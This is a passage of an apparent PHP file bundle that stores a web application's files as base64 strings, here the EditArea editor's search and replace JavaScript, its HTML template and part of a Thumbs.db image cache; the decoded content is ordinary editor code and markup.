JhcmVhX3NlYXJjaF9yZXBsYWNlIikuc3R5bGUudmlzaWJpbGl0eSE9InZpc2libGUiKXsNCgkJCXRoaXMuc2hvd19zZWFyY2goKTsNCgkJCXJldHVybjsNCgkJfQ0KCQlpZihzZWFyY2gubGVuZ3RoPT0wKXsNCgkJCSQoImFyZWFfc2VhcmNoX21zZyIpLmlubmVySFRNTD10aGlzLmdldF90cmFuc2xhdGlvbigic2VhcmNoX2ZpZWxkX2VtcHR5Iik7DQoJCQlyZXR1cm47DQoJCX0NCgkJLy8gYWR2YW5jZSB0byB0aGUgbmV4dCBvY2N1cmVuY2UgaWYgbm8gdGV4dCBzZWxlY3RlZA0KCQlpZihtb2RlIT0icmVwbGFjZSIgKXsNCgkJCWlmKCQoImFyZWFfc2VhcmNoX3JlZ19leHAiKS5jaGVja2VkKQ0KCQkJCXN0YXJ0Kys7DQoJCQllbHNlDQoJCQkJc3RhcnQrPSBzZWFyY2gubGVuZ3RoOw0KCQl9DQoJCQ0KCQkvL3NlYXJjaA0KCQlpZigkKCJhcmVhX3NlYXJjaF9yZWdfZXhwIikuY2hlY2tlZCl7DQoJCQkvLyByZWdleHAgc2VhcmNoDQoJCQl2YXIgb3B0PSJtIjsNCgkJCWlmKCEkKCJhcmVhX3NlYXJjaF9tYXRjaF9jYXNlIikuY2hlY2tlZCkNCgkJCQlvcHQrPSJpIjsNCgkJCXZhciByZWc9IG5ldyBSZWdFeHAoc2VhcmNoLCBvcHQpOw0KCQkJcG9zPSBpbmZvc1siZnVsbF90ZXh0Il0uc3Vic3RyKHN0YXJ0KS5zZWFyY2gocmVnKTsNCgkJCXBvc19iZWdpbj0gaW5mb3NbImZ1bGxfdGV4dCJdLnNlYXJjaChyZWcpOw0KCQkJaWYocG9zIT0tMSl7DQoJCQkJcG9zKz1zdGFydDsNCgkJCQlsZW5ndGg9aW5mb3NbImZ1bGxfdGV4dCJdLnN1YnN0cihzdGFydCkubWF0Y2gocmVnKVswXS5sZW5ndGg7DQoJCQl9ZWxzZSBpZihwb3NfYmVnaW4hPS0xKXsNCgkJCQlsZW5ndGg9aW5mb3NbImZ1bGxfdGV4dCJdLm1hdGNoKHJlZylbMF0ubGVuZ3RoOw0KCQkJfQ0KCQl9ZWxzZXsNCgkJCWlmKCQoImFyZWFfc2VhcmNoX21hdGNoX2Nhc2UiKS5jaGVja2VkKXsNCgkJCQlwb3M9IGluZm9zWyJmdWxsX3RleHQiXS5pbmRleE9mKHNlYXJjaCwgc3RhcnQpOyANCgkJCQlwb3NfYmVnaW49IGluZm9zWyJmdWxsX3RleHQiXS5pbmRleE9mKHNlYXJjaCk7IA0KCQkJfWVsc2V7DQoJCQkJcG9zPSBpbmZvc1siZnVsbF90ZXh0Il0udG9Mb3dlckNhc2UoKS5pbmRleE9mKHNlYXJjaC50b0xvd2VyQ2FzZSgpLCBzdGFydCk7IA0KCQkJCXBvc19iZWdpbj0gaW5mb3NbImZ1bGxfdGV4dCJdLnRvTG93ZXJDYXNlKCkuaW5kZXhPZihzZWFyY2gudG9Mb3dlckNhc2UoKSk7IA0KCQkJfQkJDQoJCX0NCgkJDQoJCS8vIGludGVycHJldCByZXN1bHQNCgkJaWYocG9zPT0tMSAmJiBwb3NfYmVnaW49PS0xKXsNCgkJCSQoImFyZWFfc2VhcmNoX21zZyIpLmlubmVySFRNTD0iPHN0cm9uZz4iK3NlYXJjaCsiPC9zdHJvbmc+ICIrdGhpcy5nZXRfdHJhbnNsYXRpb24oIm5vdF9mb3VuZCIpOw0KCQkJcmV0dXJuOw0KCQl9ZWxzZSBpZihwb3M9PS0xICYmIHBvc19iZWdpbiAhPSAtMSl7DQoJCQliZWdpbj0gcG9zX2JlZ2luOw0KCQkJJCgiYXJlYV9zZWFyY2hfbXNnIikuaW5uZXJIVE1MPXRoaXMuZ2V0X3RyYW5zbGF0aW9uKCJyZXN0YXJ0X3NlYXJjaF9hdF9iZWdpbiIpOw0KCQl9ZWxzZQ0KCQkJYmVnaW49IHBvczsNCgkJDQoJCS8vJCgiYXJlYV9zZWFyY2hfbXNnIikuaW5uZXJIVE1MKz0iPHN0cm9uZz4iK3NlYXJjaCsiPC9zdHJvbmc+IGZvdW5kIGF0ICIrYmVnaW4rIiBzdHJhdCBhdCAiK3N0YXJ0KyIgcG9zICIrcG9zKyIgY3VycyIrIGluZm9zWyJpbmRleE9mQ3Vyc29yIl0rIi4iOw0KCQlpZihtb2RlPT0icmVwbGFjZSIgJiYgcG9zPT1pbmZvc1siaW5kZXhPZkN1cnNvciJdKXsNCgkJCXZhciByZXBsYWNlPSAkKCJhcmVhX3JlcGxhY2UiKS52YWx1ZTsNCgkJCXZhciBuZXdfdGV4dD0iIjsJCQkNCgkJCWlmKCQoImFyZWFfc2VhcmNoX3JlZ19leHAiKS5jaGVja2VkKXsNCgkJCQl2YXIgb3B0PSJtIjsNCgkJCQlpZighJCgiYXJlYV9zZWFyY2hfbWF0Y2hfY2FzZSIpLmNoZWNrZWQpDQoJCQkJCW9wdCs9ImkiOw0KCQkJCXZhciByZWc9IG5ldyBSZWdFeHAoc2VhcmNoLCBvcHQpOw0KCQkJCW5ld190ZXh0PSBpbmZvc1siZnVsbF90ZXh0Il0uc3Vic3RyKDAsIGJlZ2luKSArIGluZm9zWyJmdWxsX3RleHQiXS5zdWJzdHIoc3RhcnQpLnJlcGxhY2UocmVnLCByZXBsYWNlKTsNCgkJCX1lbHNlew0KCQkJCW5ld190ZXh0PSBpbmZvc1siZnVsbF90ZXh0Il0uc3Vic3RyKDAsIGJlZ2luKSArIHJlcGxhY2UgKyBpbmZvc1siZnVsbF90ZXh0Il0uc3Vic3RyKGJlZ2luICsgbGVuZ3RoKTsNCgkJCX0NCgkJCXRoaXMudGV4dGFyZWEudmFsdWU9bmV3X3RleHQ7DQoJCQl0aGlzLmFyZWFfc2VsZWN0KGJlZ2luLCBsZW5ndGgpOw0KCQkJdGhpcy5hcmVhX3NlYXJjaCgpOw0KCQl9ZWxzZQ0KCQkJdGhpcy5hcmVhX3NlbGVjdChiZWdpbiwgbGVuZ3RoKTsNCgl9Ow0KCQ0KCQ0KCQ0KCQ0KCUVkaXRBcmVhLnByb3RvdHlwZS5hcmVhX3JlcGxhY2U9IGZ1bmN0aW9uKCl7CQkNCgkJdGhpcy5hcmVhX3NlYXJjaCgicmVwbGFjZSIpOw0KCX07DQoJDQoJRWRpdEFyZWEucHJvdG90eXBlLmFyZWFfcmVwbGFjZV9hbGw9IGZ1bmN0aW9uKCl7DQoJLyoJdGhpcy5hcmVhX3NlbGVjdCgwLCAwKTsNCgkJJCgiYXJlYV9zZWFyY2hfbXNnIikuaW5uZXJIVE1MPSIiOw0KCQl3aGlsZSgkKCJhcmVhX3NlYXJjaF9tc2ciKS5pbm5lckhUTUw9PSIiKXsNCgkJCXRoaXMuYXJlYV9yZXBsYWNlKCk7DQoJCX0qLw0KCQ0KCQl2YXIgYmFzZV90ZXh0PSB0aGlzLnRleHRhcmVhLnZhbHVlOw0KCQl2YXIgc2VhcmNoPSAkKCJhcmVhX3NlYXJjaCIpLnZhbHVlOwkJDQoJCXZhciByZXBsYWNlPSAkKCJhcmVhX3JlcGxhY2UiKS52YWx1ZTsNCgkJaWYoc2VhcmNoLmxlbmd0aD09MCl7DQoJCQkkKCJhcmVhX3NlYXJjaF9tc2ciKS5pbm5lckhUTUw9dGhpcy5nZXRfdHJhbnNsYXRpb24oInNlYXJjaF9maWVsZF9lbXB0eSIpOw0KCQkJcmV0dXJuIDsNCgkJfQ0KCQkNCgkJdmFyIG5ld190ZXh0PSIiOw0KCQl2YXIgbmJfY2hhbmdlPTA7DQoJCWlmKCQoImFyZWFfc2VhcmNoX3JlZ19leHAiKS5jaGVja2VkKXsNCgkJCS8vIHJlZ0V4cA0KCQkJdmFyIG9wdD0ibWciOw0KCQkJaWYoISQoImFyZWFfc2VhcmNoX21hdGNoX2Nhc2UiKS5jaGVja2VkKQ0KCQkJCW9wdCs9ImkiOw0KCQkJdmFyIHJlZz0gbmV3IFJlZ0V4cChzZWFyY2gsIG9wdCk7DQoJCQluYl9jaGFuZ2U9IGluZm9zWyJmdWxsX3RleHQiXS5tYXRjaChyZWcpLmxlbmd0aDsNCgkJCW5ld190ZXh0PSBpbmZvc1siZnVsbF90ZXh0Il0ucmVwbGFjZShyZWcsIHJlcGxhY2UpOw0KCQkJDQoJCX1lbHNlew0KCQkJDQoJCQlpZigkKCJhcmVhX3NlYXJjaF9tYXRjaF9jYXNlIikuY2hlY2tlZCl7DQoJCQkJdmFyIHRtcF90YWI9YmFzZV90ZXh0LnNwbGl0KHNlYXJjaCk7DQoJCQkJbmJfY2hhbmdlPSB0bXBfdGFiLmxlbmd0aCAtMSA7DQoJCQkJbmV3X3RleHQ9IHRtcF90YWIuam9pbihyZXBsYWNlKTsNCgkJCX1lbHNlew0KCQkJCS8vIGNhc2UgaW5zZW5zaXRpdmUNCgkJCQl2YXIgbG93ZXJfdmFsdWU9YmFzZV90ZXh0LnRvTG93ZXJDYXNlKCk7DQoJCQkJdmFyIGxvd2VyX3NlYXJjaD1zZWFyY2gudG9Mb3dlckNhc2UoKTsNCgkJCQkNCgkJCQl2YXIgc3RhcnQ9MDsNCgkJCQl2YXIgcG9zPSBsb3dlcl92YWx1ZS5pbmRleE9mKGxvd2VyX3NlYXJjaCk7CQkJCQ0KCQkJCXdoaWxlKHBvcyE9LTEpew0KCQkJCQluYl9jaGFuZ2UrKzsNCgkJCQkJbmV3X3RleHQrPSB0aGlzLnRleHRhcmVhLnZhbHVlLnN1YnN0cmluZyhzdGFydCAsIHBvcykrcmVwbGFjZTsNCgkJCQkJc3RhcnQ9cG9zKyBzZWFyY2gubGVuZ3RoOw0KCQkJCQlwb3M9IGxvd2VyX3ZhbHVlLmluZGV4T2YobG93ZXJfc2VhcmNoLCBwb3MrMSk7DQoJCQkJfQ0KCQkJCW5ld190ZXh0Kz0gdGhpcy50ZXh0YXJlYS52YWx1ZS5zdWJzdHJpbmcoc3RhcnQpOwkJCQkNCgkJCX0NCgkJfQkJCQ0KCQlpZihuZXdfdGV4dD09YmFzZV90ZXh0KXsNCgkJCSQoImFyZWFfc2VhcmNoX21zZyIpLmlubmVySFRNTD0iPHN0cm9uZz4iK3NlYXJjaCsiPC9zdHJvbmc+ICIrdGhpcy5nZXRfdHJhbnNsYXRpb24oIm5vdF9mb3VuZCIpOw0KCQl9ZWxzZXsNCgkJCXRoaXMudGV4dGFyZWEudmFsdWU9IG5ld190ZXh0Ow0KCQkJJCgiYXJlYV9zZWFyY2hfbXNnIikuaW5uZXJIVE1MPSI8c3Ryb25nPiIrbmJfY2hhbmdlKyI8L3N0cm9uZz4gIit0aGlzLmdldF90cmFuc2xhdGlvbigib2NjdXJyZW5jZV9yZXBsYWNlZCIpOw0KCQkJLy8gZmlyZWZveCBhbmQgb3BlcmEgZG9lc24ndCBtYW5hZ2Ugd2l0aCB0aGUgZm9jdXMgaWYgaXQncyBkb25lIGRpcmVjdGx5DQoJCQkvL2VkaXRBcmVhLnRleHRhcmVhLmZvY3VzKCk7ZWRpdEFyZWEudGV4dGFyZWEudGV4dGFyZWFGb2N1c2VkPXRydWU7DQoJCQlzZXRUaW1lb3V0KCJlZGl0QXJlYS50ZXh0YXJlYS5mb2N1cygpO2VkaXRBcmVhLnRleHRhcmVhLnRleHRhcmVhRm9jdXNlZD10cnVlOyIsIDEwMCk7DQoJCX0NCgkJDQoJCQ0KCX07DQo=',
  './AJAX-B/edit_area/template.html' => 'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMTEvRFREL3hodG1sMTEuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iID4NCjxoZWFkPg0KCTx0aXRsZT5FZGl0QXJlYTwvdGl0bGU+DQoJPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQoJW19fQ1NTUlVMRVNfX10NCglbX19KU0NPREVfX10NCjwvaGVhZD4NCjxib2R5Pg0KCTxkaXYgaWQ9J2VkaXRvcic+DQoJCTxkaXYgY2xhc3M9J2FyZWFfdG9vbGJhcicgaWQ9J3Rvb2xiYXJfMSc+W19fVE9PTEJBUl9fXTwvZGl2Pg0KCQk8ZGl2IGNsYXNzPSdhcmVhX3Rvb2xiYXInIGlkPSd0YWJfYnJvd3NpbmdfYXJlYSc+PHVsIGlkPSd0YWJfYnJvd3NpbmdfbGlzdCcgY2xhc3M9J21lbnUnPiA8bGk+IDwvbGk+IDwvdWw+PC9kaXY+DQoJCTxkaXYgaWQ9J3Jlc3VsdCc+DQoJCQk8ZGl2IGlkPSdub19maWxlX3NlbGVjdGVkJz48L2Rpdj4NCgkJCTxkaXYgaWQ9J2NvbnRhaW5lcic+DQoJCQkJPGRpdiBpZD0nY3Vyc29yX3BvcycgY2xhc3M9J2VkaXRfYXJlYV9jdXJzb3InPiZuYnNwOzwvZGl2Pg0KCQkJCTxkaXYgaWQ9J2VuZF9icmFja2V0JyBjbGFzcz0nZWRpdF9hcmVhX2N1cnNvcic+Jm5ic3A7PC9kaXY+DQoJCQkJPGRpdiBpZD0nc2VsZWN0aW9uX2ZpZWxkJz48L2Rpdj4NCgkJCQk8ZGl2IGlkPSdsaW5lX251bWJlcicgc2VsZWM9J25vbmUnPjwvZGl2Pg0KCQkJCTxkaXYgaWQ9J2NvbnRlbnRfaGlnaGxpZ2h0Jz48L2Rpdj4NCgkJCQk8ZGl2IGlkPSd0ZXN0X2ZvbnRfc2l6ZSc+PC9kaXY+DQoJCQkJPHRleHRhcmVhIGlkPSd0ZXh0YXJlYScgd3JhcD0nb2ZmJyBvbmNoYW5nZT0nZWRpdEFyZWEuZXhlY0NvbW1hbmQoIm9uY2hhbmdlIik7JyBvbmZvY3VzPSdqYXZhc2NyaXB0OmVkaXRBcmVhLnRleHRhcmVhRm9jdXNlZD10cnVlOycgb25ibHVyPSdqYXZhc2NyaXB0OmVkaXRBcmVhLnRleHRhcmVhRm9jdXNlZD1mYWxzZTsnPg0KCQkJCTwvdGV4dGFyZWE+DQoJCQkJDQoJCQk8L2Rpdj4NCgkJPC9kaXY+DQoJCTxkaXYgY2xhc3M9J2FyZWFfdG9vbGJhcicgaWQ9J3Rvb2xiYXJfMic+DQoJCQk8dGFibGUgY2xhc3M9J3N0YXR1c2JhcicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScwJz4NCgkJCQk8dHI+DQoJCQkJCTx0ZCBjbGFzcz0ndG90YWwnIHNlbGVjPSdub25lJz57JHBvc2l0aW9ufTo8L3RkPg0KCQkJCQk8dGQgY2xhc3M9J2luZm9zJyBzZWxlYz0nbm9uZSc+DQoJCQkJCQl7JGxpbmVfYWJicn0gPHNwYW4gIGlkPSdsaW5lUG9zJz4wPC9zcGFuPiwgeyRjaGFyX2FiYnJ9IDxzcGFuIGlkPSdjdXJyUG9zJz4wPC9zcGFuPg0KCQkJCQk8L3RkPg0KCQkJCQk8dGQgY2xhc3M9J3RvdGFsJyBzZWxlYz0nbm9uZSc+eyR0b3RhbH06PC90ZD4NCgkJCQkJPHRkIGNsYXNzPSdpbmZvcycgc2VsZWM9J25vbmUnPg0KCQkJCQkJeyRsaW5lX2FiYnJ9IDxzcGFuIGlkPSduYkxpbmUnPjA8L3NwYW4+LCB7JGNoYXJfYWJicn0gPHNwYW4gaWQ9J25iQ2hhcic+MDwvc3Bhbj4NCgkJCQkJPC90ZD4NCgkJCQkJPHRkIGNsYXNzPSdyZXNpemUnPg0KCQkJCQkJPHNwYW4gaWQ9J3Jlc2l6ZV9hcmVhJz48aW1nIHNyYz0nW19fQkFTRVVSTF9fXWltYWdlcy9zdGF0dXNiYXJfcmVzaXplLmdpZicgYWx0PSdyZXNpemUnIHNlbGVjPSdub25lJz48L3NwYW4+DQoJCQkJCTwvdGQ+DQoJCQkJPC90cj4NCgkJCTwvdGFibGU+DQoJCTwvZGl2Pg0KCTwvZGl2Pg0KCTxkaXYgaWQ9J3Byb2Nlc3NpbmcnPg0KCQk8ZGl2IGlkPSdwcm9jZXNzaW5nX3RleHQnPg0KCQkJeyRwcm9jZXNzaW5nfQ0KCQk8L2Rpdj4NCgk8L2Rpdj4NCg0KCTxkaXYgaWQ9J2FyZWFfc2VhcmNoX3JlcGxhY2UnIGNsYXNzPSdlZGl0YXJlYV9wb3B1cCc+DQoJCTx0YWJsZSBjZWxsc3BhY2luZz0nMicgY2VsbHBhZGRpbmc9JzAnIHN0eWxlPSd3aWR0aDogMTAwJSc+DQoJCQk8dHI+DQoJCQkJPHRkIHNlbGVjPSdub25lJz57JHNlYXJjaH08L3RkPg0KCQkJCTx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2FyZWFfc2VhcmNoJyAvPjwvdGQ+DQoJCQkJPHRkIGlkPSdjbG9zZV9hcmVhX3NlYXJjaF9yZXBsYWNlJz4NCgkJCQkJPGEgb25jbGljaz0nSmF2YXNjcmlwdDplZGl0QXJlYS5leGVjQ29tbWFuZCgiaGlkZGVuX3NlYXJjaCIpJz48aW1nIHNlbGVjPSdub25lJyBzcmM9J1tfX0JBU0VVUkxfX11pbWFnZXMvY2xvc2UuZ2lmJyBhbHQ9J3skY2xvc2VfcG9wdXB9JyB0aXRsZT0neyRjbG9zZV9wb3B1cH0nIC8+PC9hPjxiciAvPg0KCQkJPC90cj48dHI+DQoJCQkJPHRkIHNlbGVjPSdub25lJz57JHJlcGxhY2V9PC90ZD4NCgkJCQk8dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdhcmVhX3JlcGxhY2UnIC8+PC90ZD4NCgkJCQk8dGQ+PGltZyBpZD0nbW92ZV9hcmVhX3NlYXJjaF9yZXBsYWNlJyBvbm1vdXNlZG93bj0ncmV0dXJuIHBhcmVudC5zdGFydF9tb3ZlX2VsZW1lbnQoZXZlbnQsImFyZWFfc2VhcmNoX3JlcGxhY2UiLCBwYXJlbnQuZnJhbWVzWyJmcmFtZV8iK2VkaXRBcmVhLmlkXSk7JyAgc3JjPSdbX19CQVNFVVJMX19daW1hZ2VzL21vdmUuZ2lmJyBhbHQ9J3skbW92ZV9wb3B1cH0nIHRpdGxlPSd7JG1vdmVfcG9wdXB9JyAvPjwvdGQ+DQoJCQk8L3RyPg0KCQk8L3RhYmxlPg0KCQk8ZGl2IGNsYXNzPSdidXR0b24nPg0KCQkJPGlucHV0IHR5cGU9J2NoZWNrYm94JyBpZD0nYXJlYV9zZWFyY2hfbWF0Y2hfY2FzZScgLz48bGFiZWwgZm9yPSdhcmVhX3NlYXJjaF9tYXRjaF9jYXNlJyBzZWxlYz0nbm9uZSc+eyRtYXRjaF9jYXNlfTwvbGFiZWw+DQoJCQk8aW5wdXQgdHlwZT0nY2hlY2tib3gnIGlkPSdhcmVhX3NlYXJjaF9yZWdfZXhwJyAvPjxsYWJlbCBmb3I9J2FyZWFfc2VhcmNoX3JlZ19leHAnIHNlbGVjPSdub25lJz57JHJlZ19leHB9PC9sYWJlbD4NCgkJCTxiciAvPg0KCQkJPGEgb25jbGljaz0nSmF2YXNjcmlwdDplZGl0QXJlYS5leGVjQ29tbWFuZCgiYXJlYV9zZWFyY2giKScgc2VsZWM9J25vbmUnPnskZmluZF9uZXh0fTwvYT4NCgkJCTxhIG9uY2xpY2s9J0phdmFzY3JpcHQ6ZWRpdEFyZWEuZXhlY0NvbW1hbmQoImFyZWFfcmVwbGFjZSIpJyBzZWxlYz0nbm9uZSc+eyRyZXBsYWNlfTwvYT4NCgkJCTxhIG9uY2xpY2s9J0phdmFzY3JpcHQ6ZWRpdEFyZWEuZXhlY0NvbW1hbmQoImFyZWFfcmVwbGFjZV9hbGwiKScgc2VsZWM9J25vbmUnPnskcmVwbGFjZV9hbGx9PC9hPjxiciAvPg0KCQk8L2Rpdj4NCgkJPGRpdiBpZD0nYXJlYV9zZWFyY2hfbXNnJyBzZWxlYz0nbm9uZSc+PC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBpZD0nZWRpdF9hcmVhX2hlbHAnIGNsYXNzPSdlZGl0YXJlYV9wb3B1cCc+DQoJCTxkaXYgY2xhc3M9J2Nsb3NlX3BvcHVwJz4NCgkJCTxhIG9uY2xpY2s9J0phdmFzY3JpcHQ6ZWRpdEFyZWEuZXhlY0NvbW1hbmQoImNsb3NlX2FsbF9pbmxpbmVfcG9wdXAiKSc+PGltZyBzcmM9J1tfX0JBU0VVUkxfX11pbWFnZXMvY2xvc2UuZ2lmJyBhbHQ9J3skY2xvc2VfcG9wdXB9JyB0aXRsZT0neyRjbG9zZV9wb3B1cH0nIC8+PC9hPg0KCQk8L2Rpdj4NCgkJPGRpdj48aDI+RWRpdGFyZWEgW19fRUFfVkVSU0lPTl9fXTwvaDI+PGJyIC8+DQoJCQk8aDM+eyRzaG9ydGN1dHN9OjwvaDM+DQoJCQkJeyR0YWJ9OiB7JGFkZF90YWJ9PGJyIC8+DQoJCQkJeyRzaGlmdH0reyR0YWJ9OiB7JHJlbW92ZV90YWJ9PGJyIC8+DQoJCQkJeyRjdHJsfStmOiB7JHNlYXJjaF9jb21tYW5kfTxiciAvPg0KCQkJCXskY3RybH0rcjogeyRyZXBsYWNlX2NvbW1hbmR9PGJyIC8+DQoJCQkJeyRjdHJsfStoOiB7JGhpZ2hsaWdodH08YnIgLz4NCgkJCQl7JGN0cmx9K2c6IHskZ29fdG9fbGluZX08YnIgLz4NCgkJCQl7JGN0cmx9K3o6IHskdW5kb308YnIgLz4NCgkJCQl7JGN0cmx9K3k6IHskcmVkb308YnIgLz4NCgkJCQl7JGN0cmx9K2U6IHskaGVscH08YnIgLz4NCgkJCQl7JGN0cmx9K3EsIHskZXNjfTogeyRjbG9zZV9wb3B1cH08YnIgLz4NCgkJCQl7JGFjY2Vzc2tleX0gRTogeyR0b2dnbGV9PGJyIC8+DQoJCQk8YnIgLz4NCgkJCTxlbT57JGFib3V0X25vdGljZX08L2VtPg0KCQkJPGJyIC8+PGRpdiBjbGFzcz0nY29weXJpZ2h0Jz4mY29weTsgQ2hyaXN0b3BoZSBEb2xpdmV0IC0gMjAwNzwvZGl2Pg0KCQk8L2Rpdj4NCgk8L2Rpdj4NCgk8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4NCg==',
  './AJAX-B/edit_area/images/Thumbs.db' => '0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAEAAAAgAAAAMAAAD+////AAAAAAAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9////CQAAABUAAAAEAAAABQAAAAYAAAAHAAAACAAAAAoAAAARAAAACwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEgAAABoAAAATAAAAFAAAABYAAAAnAAAAFwAAABgAAAAZAAAAGwAAACMAAAAcAAAAHQAAAB4AAAAfAAAAIAAAACEAAAAiAAAAJAAAAP7///8lAAAAJgAAACgAAAD+////KQAAACoAAAArAAAA/v///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUA//////////8JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKD5pbLq6cgBAwAAAMBEAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQMAAAAAAAAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAACAAEAAAADAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAA9BAAAAAAAADMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAIB////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHwAAAM4DAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAADQAAAP7///8PAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAeAAAA/v///yAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKAAAACkAAAAqAAAAKwAAACwAAAAtAAAALgAAAP7///8wAAAAMQAAADIAAAAzAAAANAAAADUAAAA2AAAANwAAADgAAAA5AAAAOgAAADsAAAA8AAAA/v///z4AAAA/AAAAQAAAAEEAAABCAAAA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